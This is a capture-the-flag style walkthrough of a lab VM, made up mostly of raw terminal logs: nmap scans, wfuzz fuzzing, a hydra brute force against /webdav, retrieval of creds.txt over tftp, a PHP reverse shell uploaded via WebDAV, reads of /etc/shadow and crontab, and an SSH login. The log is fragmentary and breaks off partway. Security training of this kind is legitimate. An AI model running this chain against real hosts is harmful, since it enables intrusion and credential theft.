┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.129 Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-08 21:28 EDT Nmap scan report for 192.1.1.129 Host is up (0.00074s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:02:D4:D7 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.25 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -O -p22,80 192.1.1.129 Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-08 21:31 EDT Nmap scan report for 192.1.1.129 Host is up (0.00026s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 00:0C:29:02:D4:D7 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~] └─$ sudo nmap -sU --min-rate 10000 -p- 192.1.1.129 Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-08 22:23 EDT Warning: 192.1.1.129 giving up on port because retransmission cap hit (10). Nmap scan report for 192.1.1.129 Host is up (0.0017s latency). All 65535 scanned ports on 192.1.1.129 are in ignored states. Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach) MAC Address: 00:0C:29:02:D4:D7 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 72.76 seconds
Web 查看
查看 Web 界面，和 zong 教相关。查看网页源代码和可点击元素，并且将图像下载下来看看是否有隐写
┌──(kali㉿kali)-[~] └─$ wfuzz -c --hc 200 -w /usr/share/wordlists/wfuzz/general/big.txt http://192.1.1.129/images/666.jpg?FUZZ=something /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz\'s documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.1.1.129/images/666.jpg?FUZZ=something Total requests: 3024
===================================================================== ID Response Lines Word Chars Payload =====================================================================
┌──(kali㉿kali)-[~] └─$ hydra -L user.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt 192.1.1.129 http-get /webdav Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 22:15:43 [DATA] max 16 tasks per 1 server, overall 16 tasks, 82917 login tries (l:83/p:999), ~5183 tries per task [DATA] attacking http-get://192.1.1.129:80/webdav [STATUS] 8637.00 tries/min, 8637 tries in 00:01h, 74280 to doin 00:09h, 16 active [STATUS] 8794.33 tries/min, 26383 tries in 00:03h, 56534 to doin 00:07h, 16 active
┌──(kali㉿kali)-[~] └─$ tftp 192.1.1.129 tftp> ls ?Invalid command tftp> help ?Invalid command tftp> ? Commands may be abbreviated. Commands are:
connect connect to remote tftp mode set file transfer mode put send file get receive file quit exit tftp verbose toggle verbose mode trace toggle packet tracing status show current status binary set mode to octet ascii set mode to netascii rexmt set per-packet retransmission timeout timeoutset total retransmission timeout ? printhelp information tftp> get creds.txt Received 22 bytes in 0.0 seconds
┌──(kali㉿kali)-[~] └─$ cadaver http://192.1.1.129/webdav Authentication required for webdav on server 192.1.1.129: Username: yamdoot Password: dav:/webdav/> ls Listing collection `/webdav/`: collection is empty. dav:/webdav/> ? Available commands: lscdpwd put get mget mput edit less mkcol cat delete rmcol copy move lock unlock discover steal showlocks version checkin checkout uncheckout history label propnames chexec propget propdel propset search set open close echo quit unset lcd lls lpwd logout help describe about Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye dav:/webdav/> pwd Current collection is `http://192.1.1.129/webdav/`. dav:/webdav/> put php-reverse-shell.php Uploading php-reverse-shell.php to `/webdav/php-reverse-shell.php`: Progress: [=============================>] 100.0% of 5493 bytes succeeded.
www-data@ubuntu:/var/backups$ cat /etc/shadow cat /etc/shadow cat: /etc/shadow: Permission denied www-data@ubuntu:/var/backups$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@ubuntu:/var/backups$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
inferno@ubuntu:/var/run$ cd /home cd /home inferno@ubuntu:/home$ ls ls inferno narak yamdoot inferno@ubuntu:/home$ cd inferno cd inferno inferno@ubuntu:~$ ls ls user.txt inferno@ubuntu:~$ cat user.txt cat user.txt Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}
┌──(kali㉿kali)-[~] └─$ ssh inferno@192.1.1.129 The authenticity of host '192.1.1.129 (192.1.1.129)' can\'t be established. ED25519 key fingerprint is SHA256:A4qSwLMJMXo/YuhKxw/H/4ezPo8GmE3SuuMQr98X7TU. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.1.1.129' (ED25519) to the list of known hosts. inferno@192.1.1.129\'s password: Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
